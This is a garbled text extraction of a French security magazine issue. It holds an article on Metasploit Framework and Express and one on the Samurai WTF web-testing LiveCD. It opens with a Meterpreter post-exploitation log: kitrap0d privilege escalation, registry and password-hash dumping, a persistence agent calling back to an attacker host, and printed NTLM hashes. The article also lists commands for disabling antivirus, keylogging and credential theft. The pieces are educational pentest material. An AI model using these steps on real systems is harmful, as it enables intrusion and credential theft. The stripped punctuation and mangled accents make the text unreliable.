[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

